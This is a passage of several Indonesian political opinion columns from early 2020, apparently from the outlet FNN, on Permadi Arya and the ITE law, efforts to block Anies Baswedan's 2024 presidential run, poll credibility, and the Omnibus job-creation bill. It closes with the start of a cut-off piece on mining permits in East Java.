mengaku tengah mempromosikan kopi Jabar di Australia. Cukup alasan sesungguhnya bagi RK menyeret Permadi ke ranah hukum. Ada dasar hukum yang kuat dan bahkan sudah ada yurisprudensinya. Tinggal copy paste. Beressss! Musisi tenar Ahmad Dhani pernah dijatuhi hukuman 1 tahun penjara oleh Pengadilan Negeri Surabaya karena membuat vlog yang berisi umpatan “idiot.” Jaksa menjerat Ahmad Dhani dengan pasal 45 ayat 3 juncto pasal 27 ayat 3 Undang-undang Informasi dan Transaksi Elektronik (UU ITE). Ucapannya diduga mengandung penghinaan dan pencemaran nama baik saat acara deklarasi Ganti Presiden yang batal dilaksanakan di Surabaya, 26 Agustus 2018. Jadi seharusnya kalau RK mau, pasti polisi, jaksa, dan hakim sangat mudah menjerat Permadi Arya. Tidak ada kesulitan apapun. Kasusnya Permadi seharusnya juga jauh lebih berat dibanding Dhani. Dia melakukan aksi itu dengan terencana. Alias niat banget! Mulai dari membuat desain kaos, aksi foto bersama, dan penyebarannya di media sosial. Bisa dikenakan tambahan hukum karena tindak pidana berencana. Sementara Dhani cuma asal nyeplos saja. Permadi juga secara jelas menarget siapa korbannya, yakni Gubernur. Seorang pejabat negara. Kena pasal penghinaan. Sementara Dhani tidak menyebut secara spesifik siapa yang dituju. Memicu anarki dan radikalisme Dampak lain dari aksi Permadi yang tak kalah merusak adalah munculnya aksi anarki dan radikalisme. Menyatakan My President Is An Idiot bisa digolongkan subversi karena menimbulkan krisis kepercayaan publik terhadap pemerintah. Permadi bisa dikenakan pasal sebagai aktor intelektual di balik aksi anarki dan radikalisme. Karena aksinya lah kemudian mendorong muncul olok-olok bahwa “Presiden saya seorang Idiot.” Terlalu! Sebagai gubernur yang pada pilpres lalu mendukung Jokowi-Ma’ruf, sudah sewajarnya RK bertindak. Bukan hanya dirinya sendiri, tapi juga calon presiden pilihannya yang sekarang menjadi presiden diolok-olok oleh Permadi Dkk. Momentum ini juga sekaligus bisa digunakan untuk membuktikan bahwa pemerintah, petugas hukum negeri ini tidak tebang pilih. Tak peduli buzzer pendukung pemerintah, maupun penentang pemerintah, bila melanggar UU, akan dihukum. Dilibas. Permadi Arya Dkk bukanlah pengecualian. Jangan biarkan mereka seenaknya sendiri mengolok-olok hukum. Menciptakan perasaan diperlakukan tidak adil (percieve unjustice) pada masyarakat. Bila RK mau mengambil langkah ini, dipastikan dia akan mendapat dukungan luas dari masyarakat. Langkah itu sekaligus membantu pemerintah membuktikan bahwa tudingan publik selama ini salah. Bukankah ketidakadilan merupakan sumber anarki dan radikalisme sesungguhnya? Penulis wartawan senior.

Ada Parpol (PSI) yang Bermisi Menghadang Anies Baswedan

By Asyari Usman Jakarta, FNN - Luar biasa! Ada partai politik (parpol) punya misi untuk menghadang seorang tokoh yang berpotensi menjadi pemimpin yang baik dan diperlukan oleh bangsa dan negara ini. Tak habis pikir kenapa Partai Solidaritas Indonesia (PSI) secara blak-blakan mendeklarasikan dirinya akan menghadang Anies Baswedan maju ke Pilpres 2024. Dan mereka mengajak parpol-parpol lain untuk membentuk barisan nasional yang khusus bekerja untuk menjegal Anies. Sangat disayangkan sekali. Parpol yang diisi oleh para milenial yang seharusnya bebas dari pikiran kotor, akhirnya terkontaminasi oleh “satanic ideology” yang berintikan hasad dan dengki. Tidak pantas PSI terperosok ke situ. Sebab, mereka punya Grace Natalie yang hebat. Ada Guntur Romli yang berwawasan luas dan cerdas. Ada Raja Juli Antoni yang berkapasitas. Belum lagi Tsamara Amany yang pintar dan artikulat. Di luar dugaan, koridor pemikiran para milenial PSI menjadi sempit. Tak masuk akal para politisi muda itu ikut panik melihat popularitas Anies yang melaju secara natural. Tumbuh di atas kapabilitas, kapasitas, dan prestasi beliau. PSI seharusnya menjadi wadah intelektual yang lebih banyak menggunakan akal sehat ketimbang emosi partisan. Publik tertanya-tanya, apa gerangan yang membuat para politisi PSI menjadi Pasukan Sirik dan Iri? Apa alasan sesungguhnya untuk menjegal Anies? Apakah ada agenda pesanan para cukong yang takut mati langkah kalau Anies duduk di kursi presiden? Kalau jawaban untuk pertanyaan nomor tiga di atas adalah “iya”, maka PSI tak layak melanjutkan kiprahnya. PSI seharusnya memberikan pencerahan kepada masyarakat tentang calon-calon pemimpin yang memiliki kompetensi. Yang berkemampuan. Yang berkapasitas. Yang memiliki integritas. Yang pro-keadilan. Bukan sebaliknya. Bukan malah menghasut masyarakat dan parpol-parpol lain agar mencegah seseorang yang muncul ke permukaan karena kemampuan yang ia miliki. PSI jangan sampai menjadi kendaraan para preman bisnis alias para cukong yang hanya memikirkan keuntungan pribadi dan kelompok. Adalah Sekjen PSI Raja Juli Antoni yang mengeluarkan pernyataan bahwa Anies harus dijegal karena “Gubernur Indonesia” itu, kata dia, sangat primordial. Memainkan sentimen keagamaan. Dia katakan pula bahwa kinerja Anies hanya sebatas retorika. Apa iya? Di mana Anies bisa disebut primordial? Kapan dia menggunakan sentimen keagamaan? Apakah karena Anies bergaul lebih akrab dengan para ulama dan tokoh-tokoh umat serta ormas, kemudian disebut memanfaatkan sentimen keagamaan? Terus dikatakan primordial? Atau bahkan disebut sektarian? Kemudian, Anies hanya sebatas retorika tapi tak bisa kerja. Nah, atas dasar apa orang-orang PSI menyebut Anies cuma ‘omong doang’, tidak ada prestasi? Salah total. Apakah Anies harus sowan ke pimpinan PSI dan melaporkan begitu banyak penghargaan nasional dan internasional yang diterimanya? Apakah PSI tidak punya pulsa untuk meng-Google kata kunci “penghargaan untuk Anies”? Anies primordial, memainkan sentimen keagamaan dan hanya banyak bicara saja, adalah kesimpulan yang tidak akurat. Tak objektif. Ini tentu penilaian yang “reckless” dan “narrow minded”. Sangat berbahaya ucapan Raja Juli yang menganggap interaksi Anies dengan para ulama sebagai pertanda primordial dan memainkan sentimen keagamaan. Tak heran kalau orang mengatakan bahwa para politisi PSI itu aslinya tidak suka Islam dan umat Islam. Karena itu, mereka juga tidak rela seorang muslim yang baik menjadi presiden Indonesia. Tak rela tanpa alasan. Sangat jelas indikasinya. Mereka tidak suka figur yang jujur dan berintegritas menjadi pemimpin negara ini. Mereka tak rela bahwa orang itu adalah Anies Baswedan.[] 27 Februari 2020 Penulis wartawan senior.

Mari Simak Dua Survei yang Bermisi Tenggelamkan Anies Baswedan

By Asyari Usman Jakarta, FNN.co.id - Pilpres 2024 masih jauh. Tapi, panggungnya mulai “crowded”. Penuh sesak. Dan dijamin akan makin semarak. Yang paling meriah adalah upaya para oportunis dan “brainless manipulator” untuk menghalangi Anies Baswedan. Segala cara mereka lakukan. Setelah banjir Jakarta, lem aibon, trotoar Tanah Abang, dlsb, gagal mereka gunakan untuk mendegradasi Anies, mereka keluarkan jurus lain. Banyak jurus yang mereka siapkan. Panjang daftarnya. Mungkin sudah dirancang sejak lama. Didukung oleh para cukong yang merasa terancam kalau Anies unggul di pacuan opini pilpres 2024. Gerombolan oportunis dan manipulator itu, cepat-cepat ganti taktik. Sekarang mereka gunakan lembaga-lembaga survei nir-reputasi. Yang tak punya kredibilitas. Tujuannya, tidak sulit ditebak. Mereka ingin menenggelamkan nama Anies. Karena memang “Gubernur Indonesia” ini tak terbendung lagi. Pada hari Ahad (23/2/2020), tiga lembaga peneliti merilis “hasil survei” yang memposisikan elektabilitas Anies sangat rendah. Lebih rendah dari elektabilitas Prabowo Subianto. Ketiga lembaga itu adalah Indo Barometer (IB) dan satu lagi Parameter Politik Indonesia (PPI) yang berkolaborasi dengan Politika Research (PR). Survei IB dengan 1,200 responden itu lebih tepat disebut survei internal Gerindra ketimbang survei publik. Apa alasannya? Pertama, kalau Jokowi ikut pilpres 2024, Indo Barometer menempatkan Presiden yang dimenangkan Mahkamah Konstitusi (MK) di Pilpres 2019 itu dengan elektabillitas 32.2% (tertinggi). Disusul Prabowo 17.5%, Anies Baswedan 9.7%, Sandiaga Uno 6.1%, Agus Harimurti Yudhoyono (AHY) 4.3% dan Tri Rismaharini (walikota Surabaya) 3.6%. Kalau Jokowi tidak ikut, maka Prabowo berada di angka 22.5%. Anies Baswedan cuma 14.3%, Sandi Uno 8.1%, Ganjar Pranowo (gubernur Jawa Tengah) 7.7%, dan Tri Rismaharini (walikota Surabaya) 6.8%. Penyusunan urutan ini menyelipkan pesan bahwa Anies cuma bisa menjadi cawapres pada 2024. Dan peluang untuk terpilih sebagai wapres pun hanya bisa bersama Prabowo. Bahkan, politisi Gerindra, Desmond Mahesa, berani mengatakan bahwa untuk Pilpres 2024 ini, pasangan yang sangat pas adalah Prabowo-Anies. Artinya apa? Hasil survei ini bertujuan mematahkan semangat Anies untuk maju sebagai capres. Sambil mengelabui publik bahwa Prabowo masih berpeluang menjadi presiden nanti. Tapi, susunan ini juga menunjukkan bahwa Prabowo memerlukan Anies sebagai cawapres untuk bisa menang pilpres. Kalau Anies mau dipasangkan dengan Prabowo, orang-orang Gerindra merasa para pendukung Anies tak punya pilihan lain. Tentu saja Anies tidak sekonyol yang mereka inginkan. Kedua, survei IB ini disebut “survei internal Gerindra” dapat dilihat dari premis bahwa kalau Jokowi dihadapkan lagi dengan Prabowo di pilpres 2024 (secara konstitusional Jokowi tidak mungkin ikut kecuali UUD 1945 diubah), maka dia (Jokowi) akan menang 41.2% dibanding Prabowo yang dapat 36.3%. Ini merupakan bentuk penghormatan, rasa segan, dan rasa takut survei internal itu kepada Jokowi. Survei juga sekaligus menyertakan pesan terelubung bahwa Prabowo siap menjadi cawapres Jokowi di pilpres mendatang. Sekalian menyampaikan isyarat bahwa Gerindra akan mendukung amandemen UUD 1945 supaya Jokowi bisa menjadi presiden tiga periode asalkan Prabowo menjadi wapres untuk Jokowi. Bisakah skenario Jokowi-Prabowo 2024 itu muncul? Sangat besar kemungkinannya. Apalagi, sekarang ini ada gelagat yang sangat jelas tentang perseteruan Jokowi dengan Bu Megawati plus gerbong PDIP-nya. Bisa dilihat pula dari survei IB ini yang tidak menyertakan nama Puan Maharani (anak Bu Mega). Di front lain, Prabowo di berbagai kesempatan menunjukkan kekagumannya pada Jokowi. Begitu juga ketika akhir-akhir ini anak-menantu Jokowi mulai memperlihatkan antusias untuk menjadi walikota. Probowo menyambut positif. Ketiga, survei IB disebut “survei internal Gerindra” karena Prabowo, Anies dan Sandi selalu berurutan. Prabowo teratas, disusul Anies dan kemudian Sandi. Berikutnya, kita lihat sebentar survei PPI dan PR. Ini lebih jelas lagi bermisi untuk menenggelamkan nama Anies Baswedan. Dengan 2,200 responden, PPI dan PR menempatkan menempatkan elektabilitas Prabowo 17.3%, Sandi 9.1%, Ganjar Pranowo 8.8%, Anies hanya 7.8%, AHY 5.4% bahkan ada Ahok 5.2%, dst. Yang sangat tendensius, survei PPI-PR menunjukkan bahwa Ma’ruf Amin lebih kuat dari Anies Baswedan untuk posisi cawapres 2024. Ma’ruf bisa dapat 6.7% sedangkan Anies hanya 4.59%. Sadis! Ada yang memancing senyum dari kesimpulan survei PPI-PR. Mereka temukan bahwa publik sangat menyukai pasangan militer-sipil di Pilpres 2024 ketimbang kombinasi sipil-militer. Temuan ini terasa “sangat Bapak”. Menurut survei, kombinasi militer-sipil didukung 40.4% sementara pasangan sipil-militer hanya disukai 14.2% saja. Mana yang bisa dipercaya? Nah, ini pertanyaan yang jawabannya cukup mengasyikkan. Sebab, ada survei yang sangat layak dipercaya di luar IB dan PPI-PR. Yaitu, jajak pendapat online yang digelar oleh PollingKita-com sejak 3 Februari 2020. Polling ini diikuti oleh 28,650 responden. Mereka tidak bisa ikut polling lebih dari sekali karena registrasi suara dicatat berdasarkan IP-address. Artinya, yang mencoba memberikan suara ganda akan tertolak secara otomatis berdasarkan IP address itu. Hingga hari ini (26/2/2020), PollingKita mencatat dukunngan untuk Anies Baswedan 64.2%, Prabowo 8.1%, AHY 7.9%, Ganjar Pranowo 6.4%, Sandi 4.3%, Ahok 4%, Gatot Nurmantio 2.2%, Ridwan Kamil 1.82%, Khofifah IP 0.6%, dan Puan Maharani 0.3%. Kelihatannya, PollingKita-com lebih layak dipercaya. Sebab, hasil survei mereka mencerminkan dinamika politik yang ada. Lebih independen dan jumlah respondennya lebih 20 kali lipat jumlah responden IB. Kalau pun margin of error di sini (MoR) 25%, Anies masih dapat 48%. Masih terlalu besar? Sebutlah MoR 40%. Anies masih dapat 39%. Bukan angka cukongan di sekitar 9 persenan atau 14 persenan. Jadi, bagaimana dengan hasil survei IB dan PPI-PR? Kelihatannya, tidak keliru kalau Anda katakan MoR-nya 100%. Alias, tak bisa dipercaya sama sekali.[] 26 Februari 2020 Penulis wartawan senior.

Anies Baswedan Tidak Boleh dan Jangan Sampai Jadi Presiden

Oleh Hersubeno Arief Jakarta, FNN - Apapun dan bagaimanapun caranya, berapapun biayanya, Anies Baswedan tidak boleh dan jangan sampai jadi Presiden. Alasannya cukup banyak. Mulai dari idiologis, politis dan tentu saja yang paling penting dari aspek bisnis. Agenda terselubung itu sebenarnya sudah banyak yang tahu. Ada juga yang sekedar menduga-duga. Namun dugaan-dugaan itu mendapat pembenaran setelah Partai Solidaritas Indonesia (PSI) buka kartu. Mereka mengajak parpol dan masyarakat untuk menjegal —begitu media menyebutnya— Anies Baswedan. Jangan sampai pada Tahun 2024 jadi presiden! Anies gagal menjadi Presiden Indonesia adalah harga mati. Tak ada tawar menawar. "Saya ingin mengajak teman-teman partai, maupun masyarakat yang masih pro dengan nasionalisme kita, saya kira harus ada barisan nasional yang secara serius mengadang figur yang terfokus isu populisme ini," kata Sekjen PSI Raja Juli Antoni dalam jumpa pers Indo Barometer di Hotel Atlet Century, Jakarta, Minggu (23/2). Clear sudah, terang benderang mengapa selama ini beberapa parpol, khususnya PSI, PDIP dan buzzer pendukung pemerintah habis-habisan mem-bully Anies. Ini urusannya berkaitan dengan Pilpres 2024. Tidak ada urusannya dengan kinerja, prestasi dan berbagai penghargaan internasional yang sudah diraih Anies. Mau Anies kerja benar seperti apapun. Mau Anies mendapat penghargaan dari dunia, termasuk penghargaan dari akhirat sekalipun, tidak ada urusannya. Mereka akan terus mem-bully. Hajar habissss…….. Mau ada skandal Jiwasraya, penggelapan dana Asabri triliunan rupiah, kenaikan iuran BPJS Kesehatan, utang BUMN dan utang negara membengkak, mereka akan tutup mata. Abaikan. Alihkan isunya. Fokus cari kesalahan Anies! Kecilkan keberhasilan Anies memimpin Jakarta. Hilangkan beritanya dari media agar masyarakat tidak mengetahuinya. Kalau ada kesalahan Anies, besar-besarkan kesalahannya. Ramaikan di media sosial dan media konvensional. Kerahkan buzzer habis-habisan. Pastikan infonya menyebar di masyarakat. Bila tidak bisa ditemukan kesalahannya, cari terus sampai ketemu. Kalau tidak juga ketemu, bikin kesalahannya. “Tugas utama” semacam itu lah yang menjelaskan mengapa tiada hari tanpa bully atas Anies. Mereka mendapat momentum dengan datangnya musim hujan tahun ini. Kebetulan pula curah hujannya sangat ekstrem. Pasukan pem-bully ini tutup mata bahwa berdasarkan data BMKG curah hujan tahun ini paling ekstrem dalam 150 tahun terakhir. Badan Meteorologi Klimatologi dan Geofisika (BMKG) mencatat curah hujan ekstrem dengan intensitas lebih dari 150 mm/hari dengan durasi panjang dari Selasa (31/12/2019) sore hingga Rabu (1/1/2020) yang turun cukup merata di wilayah DKI Jakarta menyebabkan banjir besar. Curah hujan tertinggi tercatat di Bandara Halim Perdana Kusuma yaitu 377 mm/hari, di TMII: 335 mm/hari, Kembangan: 265 mm/hari; Pulo Gadung: 260 mm/hari, Jatiasih: 260 mm/hari, Cikeas: 246 mm/hari, dan di Tomang: 226 mm/hari. Data-data itu buat mereka tidak penting. Fokus pada fakta bahwa Jakarta terendam banjir. Abaikan data dan fakta lainnya. Abaikan juga fakta bahwa daerah lain di Jawa, termasuk di Bekasi yang notabene berada di Provinsi Jawa Barat juga banjir gila-gilaan. Tugas utama mereka adalah mengabarkan kepada publik sak-Indonesia bahwa Jakarta kebanjiran terus selama Anies jadi gubernur. Anggota Fraksi PSI dan PDIP di DPRD DKI beramai-ramai menyanyikan koor “Anies tidak becus memimpin Jakarta.” Tak perlu kaget bila di sejumlah media muncul judul berita “Jakarta Dikepung Banjir.” Foto-foto lama banjir Jakarta juga bermunculan kembali. Buat survei yang menyebutkan elektabilitas Anies tiba-tiba melorot karena gagal menangani banjir! Tak punya calon Mengapa mereka begitu khawatir Anies akan menjadi presiden? Padahal perhelatan Pilpres 2024 masih cukup lama. Alasannya cukup jelas. Sampai sejauh ini mereka belum punya calon yang cukup kuat untuk menandingi popularitas dan elektabilitas Anies. Tak perlu kaget kalau sekarang Prabowo didorong-dorong menjadi lawan Anies. Muncul survei bahwa keduanya merupakan kandidat paling kuat dan akan bersaing pada Pilpres 2024. Mereka coba diadu domba. Jadi ngeh kan sekarang mengapa beberapa waktu lalu muncul wacana agar Jokowi bisa menjabat sampai tiga periode. Anies adalah ancaman yang membahayakan estabilisme penguasa dan para pendukungnya. Apalagi sebagai Gubernur DKI Anies sangat berprestasi. Gagasannya memperbaiki kota Jakarta sangat inovatif. Sesuai dengan motto kampanyenya bersama Sandiaga Uno : Maju Kotanya, Bahagia Warganya! Dalam waktu dua tahun terakhir DKI Jakarta di bawah kepemimpinan Anies telah meraih 40 penghargaan, termasuk beberapa penghargaan internasional dan dunia. Sebagai Gubernur pada tahun 2019 Anies terpilih sebagai gubernur terbaik versi Majalah Warta Ekonomi dan Rakyat Merdeka. Andai saja Anies tidak berprestasi, atau setidaknya prestasinya biasa-biasa saja, dijamin dia tidak akan ada yang mengusik. Toh tidak akan ada orang yang akan meliriknya. Aman. Setidaknya ada tiga alasan besar mengapa mereka bekerja keras memastikan Anies jangan sampai jadi presiden. Pertama, alasan idiologis. Alasan ini merupakan residu dari Pilkada DKI 2017 dan Pilpres 2019. Anies diposisikan sebagai figur yang dekat dengan kalangan Islam. Kelompok Islam lah yang menjadi biang gagalnya Ahok menjadi Gubernur DKI. Kelompok Islam perkotaan lah yang menjadi lawan berat Jokowi pada pilpres lalu. Karenanya Islam dalam beberapa tahun terakhir sangat terkesan dimusuhi dan muncul berbagai stigma radikal. Kegaduhan yang diciptakan oleh ucapan Menag, dan pernyataan-pernyataan kepala BPIP menjadi indikator yang sangat jelas. “Pemerintah saat ini mengalami Islamophobia,” kata Putri Proklamator Rachmawati Soekarnoputri. Kedua, alasan politis. Anies saat ini diposisikan berada dalam kubu berseberangan dengan pemerintah. Posisinya pada Pilpres 2019 lalu mempertegas hal itu. Bagi PSI selain musuh idiologis, Anies juga musuh politis. Sementara bagi PDIP kehadiran Anies bisa memupuskan ambisi mereka untuk terus menguasai Indonesia, pasca Jokowi. Ketiga, alasan ekonomis. Anies adalah musuh berbahaya bagi kelompok oligarki yang dikendalikan oleh kelompok bisnis, khususnya taipan. Dia adalah musuh bebuyutan —meminjam istilah Ketua MPR Bambang Soesatyo—para cukong politik. Tindakannya menghentikan proses reklamasi di Pantai Utara Jakarta sangat merugikan para taipan. Ribuan triliun keuntungan di depan mata, untuk sementara terpaksa mengendap di dasar lautan. Perbedaan dalam soal reklamasi inilah menurut pengakuan Ahok kepada Tempo menjadi salah satu penyebab pecahnya kongsi dengan PSI. Padahal PSI semula didirikan untuk menjadi kendaraan politik Ahok. Baru menjadi Gubernur DKI saja sudah sangat merugikan para taipan. Apalagi kalau sampai terpilih menjadi Gubernur Indonesia! Sampai di sini paham khan? Penulis wartawan senior.

RUU Omibus Ciptakan “Fasilitas Kerja Untuk Korporasi”

By Dr. Margarito Kamis (Bagian Pertama) Jakarta FNN - Rancangan Undang-Undang (RUU) Omnibus (artinya semua – multi aspek, multi faset, ragam materi) Cipta Kerja, yang telah diserahkan ke DPR untuk dibahas bersama Presiden, sejauh ini disebut-sebut bertujuan mengakselerasi investasi. Tetapi tujuan ini, nampaknya bukan tujuan tunggal. Ini disebabkan Airlangga Hartarto, Menteri kordinator Ekonomi, menyatakan RUU ini menghindarkan Presiden dari kemungkinan pemakzulan. Pemakzulan akibat dari kesalahan menterinya, (RMol, 20/2/2020). Andai benar inilah tujuan utamanya, maka masalahnya apakah cara ini tepat, dan perlu? Tidakkah cara ini memilki potensi jebakan? Presiden, tentu lebih mengerti. Presiden Pusat Kontrol Tetapi terlepas dari logis atau tidaknya pernyataan Airlangga. Baik juga untuk menerimanya. Entah tujuan atau apapun namanya, otoritatif RUU ini. Ini menarik. Dimana letak menariknya? Hal-hal menarik itu akan ditunjukan sejauh yang bisa pada uraian selanjutnya. Tetapi simpan sebentar analisis teknis atas norma. Mari mengenal nalar. Tentu saja yang terlihat dibalik gagasan menjadikan presiden sebagai pusat kontrol pemerintahan dibidang investasi. Pointnya adalah presiden muncul sebagai pusat kontrol. Inilah point strategisnya. Sebagai pusat kontrol, presiden dari waktu ke waktu di sepanjang hari dalam menyelengarakan pemerintahan harus memperoleh laporan terbaru tentang hal-ihwal investasi. Presiden, dengan demikian, dari hari ke hari juga harus mengeluarkan seluruh energi politik dan teknisnya memastikan kelangsungan investasi. Menteri-menteri, suka atau tidak, dari hari ke hari harus memberi kepastian informasi pasti dan terbaru kepada Presiden bahwa tindakan-tindakan administrasi mereka tidak teridentifikasi menjadi barir investasi. Ini logis. Mengapa? Presiden, menurut pasal 166 dan 170 RUU ini diberi kewenangan khusus, eksklusif mengubah semua peraturan perundangan yang dinilai bertentangan dengan UU ini. Selain menteri, para investor dapat, tentu saja dengan cara dan argumen mereka, memberi informasi terbaru. Strategis atau tidak, apapun yang mereka hadapi atau alami, informasih itu perlu sampai kepada Presiden. Ini logis. Mengapa? Toh kewenangan memutus, bahkan mengatur telah diletakan pada Presiden. Logis para investor memberi informasi langsung ke Presiden. Sampai dititik itu, pola pemberian kewenangan kepada Presiden terlihat rasional menurut sudut pandang konsititusi. Polanya eksplisit. Diatur dan dinyatakan dalam undang-undang. Bukan implisit, yakni ditarik dari fungsi presiden sebagai kepala pemerintahan. Sebagaimana terbiasa digunakan oleh Presiden Soeharto di masa lalu dan presiden-presiden Amerika sejak era Abrahan Lincoln. Mereka menggunakan executive order. Kebijakan dalam RUU ini dengan tegas menguatkan Presiden. Bukan Wakil Presiden. Presiden menjadi satu-satunya figur tata negara dan adinistrasi negara yang menentukan arah kebijakan investasi. Wapres Pak Kiyai Ma’ruf Amin mungkin saja bisa ikut memikirkan, tetapi tidak bisa mengambil tindakan bersifat decisive. Wapres Pak Ma’ruf tidak bisa berperan layaknya Pak JK dimasa lalu. Pada saat menjadi Wakil Presidennya Pak Susilo Bambang Yudhoyono (2004-2009), Pak Jusuf Kalla (JK) pernah menangani Excon Mobil yang beroperasi di Natuna. Tahu mengapa Pak JK berkeras harus mengubah konrak itu? Karena formula bagi hasinya tidak adil menurut Pak JK. Tahu bagaimana komposisi bagi hasilnya? 80 untuk Exon dan 20 untuk Indonesia. Timpang sekali menurut Pak JK. Niat Pak JK itu disampaikan ke eksekutif Exon ketika Pak JK berada di Amerika. Eksekutif Exon bereaksi, dalam nada yang menolak. Tetapi Pak JK, pria Bugis yang cerdas nan lincah ini bertahan pada sikapnya. Apa yang terjadi? Eksekutif Exon menempuh cara khasnya, melobi Pak JK. Tetapi Pak JK tidak mau dilobi. Pak JK memberi alasan mau ke Arab menunaikan ibadah umrah. Eksekutif Exon, tidak patah arang. Eksekutif ini mau menyertai Pak JK ke Arab. Pak JK menolak. Pak JK mengatakan ini urusan pribadi. Tetapi Eksekutif Exon tetap kukuh. Si eksekutif bilang kalau begitu di Jakarta saja. Hebat, Pak JK tidak mau. Pak JK bilang dia mau langsung ke Makassar. Pada satu kesempatan, yang menurut saya ini menarik. Pak JK mengatakan kalau saja dirinya suka uang, pastilah “imannya” goyang dengan lobi Exon itu. Tetapi karena konsisten dengan apa yang dilakukannya, semata untuk negara dan bangsa, JK sepelekan lobi Exon tersebut. Hebat Pak JK. Pada kasus lain, khususnya penjualan gas di Lapangan Tangguh ke Cina, yang menurt identiikasi Pak JK sangat murah itu sasngat mengusik Pak Jk. Karena itu, Pak JK berencana mengubah kontraknya. JK menyampaikan niatnya itu ke Wapres Cina pada satu pertemuan. Sang Wapres Cina terkaget-kaget. Tetapi Pak JK segera menenangkan sang Wapres. Pak JK memberi kepastian dukungan suplai tidak dikurangi. Mendapat jaminan itu, Wapres Cina pun sepakat untuk mencari cara mengubah kontrak tersebut. Hanya saja Wapres Cina menyatakan, dalam arti memberi syarat harus dilakukan melalui perundingan antara pemerintah atau G to G (Lihat JK Ensiklopedia, 2012:305-307). Kecuali diotorisasi secara khusus oleh Presiden, cara tipikal Pak JK dalam pemerintahan Pak SBY ini jelas tidak bisa dilakukan oleh Pak Wapres Ma’ruf. Ini, sekali lagi merupakan akibat logis dari wewenang eksklusif di bidang ini telah diletakan, dikonsentrasikan hanya kepada Presiden. Berurusan dengan pemegang otoritas eksklusif jauh lebih masuk akal, dibanding berurusan dengan pejabat lain, apapun fungsi mereka. Toh pejabat lain tidak bisa memberi keputusan. Karena wewenang untuk memutuskan telah dikonsentrasikan secara eksklusif pada Presiden. RUU Omnibus ini, sejauh pasal-pasal yang telah dikenali secara terbuka, cukup jelas dalam satu hal. Hal itu adalah menciptakan iklim yang lebih bersahabat dengan investasi. Untuk alasan apapun, RUU in jelas disukai oleh korporasi. Mereka, dengan tabiat ekspansifnya, terus menemukan ladang usaha baru, apapun itu. Dengan nalar logis, tidak mungkin mengeritik RUU ini. Kasus Exon yang diceritakan Pak JK hanya satu di antara sejumlah kasus tentang korporasi. Prilaku koporasi yang meraup untung dari kebijakan investasi, yang didahului pembentukan UU. Freeport juga muncul diujung lain dalam spektrum itu. Hak eksklusif mereka dalam menambang dibenarkan oleh UU Penanaman Modal Asing dan UU Pertambangan Tahun 1967. Di luar kebijakan-kebijakan investasi yang diatur melalui UU, Indonesia dalam rute liberalisasi ekonomi tahun 1980-an, mengandalkan hukum-hukum administrasi untuk tjuan itu. Singkatnya, keputusan-keputusan Presiden dindalkan dalam rute ini. Dalam konteks ini, maka spirit RUU Omnibus sama dalam esensinya dengan spirit kebijakan-kebijakan liberalisasi Orde Baru. Rezim Orde Baru menempatkan Presiden sebagai pusat kontrol kebijakan itu. Tetapi yang diandalkan adalah Kepres. Bukan Perpres. Masalahnya adalah, seberapa potensial kebijakan-kebijakan investasi di tangan presiden dirancang dan dimanifestasikan menurut kaidah dan spirit transparansi? Jangan lupa, soal ini gagal dimanifestasikan oleh orde baru. Dan disitulah masalahnya. David Bouchier dalam artikel “Magic Memos, Collusion and Judges With Attitude, dalam buku Law Capitalism and Power in Asia dengan Kaniskya Jayasuriya (ed) di masa orde baru, koneksi politik muncul menjadi faktor penting dan determinan menentukan keberhasilan usaha. Anna Erliyana disisi lain, dalam studi doktoralnya di Fakultas Hukum UI tahun 2004 menyuguhkan satu kasus menarik. Gugatan dari Gerakan Masyarakat Peduli Harta Negara yang dioreguister dengan Nomor Register 091/G.TUN/1998/PTUN-JKT tanggal 30 September 1998. Di antara 15 (lima belas) Kepres yang dijadikan objek gugatan, satu di antaranya adalah Kepres Nomor 3 Tahun 1991 Tentang Pengesahan Persetujuan antara Pemerintah Indonesia dengan Pemerintah Singapura Tentang Pengembangan Sumber-Sumber Air di Provinsi Riau dan Pemasokan Air dari Indonesi ke Singapura. Dalam pelaksanaannya, tulis Anna, Keputusan Presiden itu memberikan hak khusus kepada perusahaan patungan yang dimiliki kelompok Salim. Grup Salim diberikan diberikan mandat eksklusif untuk mengusahakan pengembangan dan pemasokan air baru dari setiap sumber di Riau (Anna Arliyana, 2004: 128). Pada isu lain, khusus impor berbagai jenis di bawah kategori baja dan besi, menunjukan adanya kebijakan pemberian hak yang eksklusif itu. Rizal Malarangeng mencatat PT Krakatau Steel dan PT Giwang Selogam semula diberi hak eksklusif untuk mengimpor. Setelah tahun 1985, Rizal menulis semua perusahaan lain yang bergerak di bidang yang sama disingkirkan, kecuali PT Krakatau Steel dan PT Giwang Selogam. Dengan nada tanya yang kritis, Rizal menulis siapa yang menguasai perusahaan yang disebut terakhir? Ternyata Lim Sio Liong, Sudwikatmono dan rekan-rekan bisnis mereka (Rizal Malarangeng, 2002: 162). Inilah bahaya nyata dari konsentrasi kewenangan untuk banyak urusan teknis pada Presiden. (bersambung) Penulis adalah Pengajar Hukum Tata Negara Universitas Khiarun Ternate

Gubernur Menjawab (2): Khofifah Membuat Diskresi Hukum Administrasi Negara

Oleh Mochamad Toha Jakarta, FNN - Menurut Subagyo, Gubernur Khofifah seakan-akan tidak mengetahui tugas pokok serta fungsinya, seperti telah tercantum dalam PP No. 23 Tahun 2010 Tentang pelaksanaan kegiatan usaha pertambangan mineral dan batubara. Pada pasal 6 ayat (1) disebutkan bahwa pemberian izin usaha pertambangan diberikan oleh Menteri, Gubernur, atau Bupati/Walikota sesuai dengan kewenanggannya. Dan, lanjut Subagyo, Gubernur Khofifah juga menafikkan keberadaan UU No. 23 Tahun 2014 tentang Pemerintah Daerah, yang mana pada pasal 14 ayat (1) dan Pasal 15 ayat (1), yang mana dalam kedua pasal tersebut dengan sangat jelas menyebutkan: “Bahwa untuk pemberian izin di sektor kehutanan, kelautan, sumber daya energi dan mineral berada pada kewenangan Gubernur, maka apabila Khofifah menjawab bahwa hal itu bukan kewenangannya, maka dia telah melanggar peraturan perundang-undangan itu sendiri,” tegas Subagyo. Beroperasinya kegiatan indutri pertambangan emas di Gunung Tumpang Pitu yang dilakukan oleh PT Merdeka Copper Gold Tbk melalui anak usahanya, yaitu PT Bumi Suksesindo (BSI) dan PT Damai Suksesindo (DSI) sejak 2012 telah menyebabkan munculnya berbagai dampak sosial-ekologis dan dampak keselamatan ruang hidup rakyat di 5 desa, yaitu Sumberagung, Pesanggaran, Sumbermulyo, Kandangan dan Sarongan. Dampak sosial yang terjadi akibat pertambangan emas tersebut yaitu adanya konflik antara masyarakat dengan perusahaan serta aparat keamanan negara yang berupa tindakan represif kepada masyarakat. Dampak sosial-ekologis menimpa warga 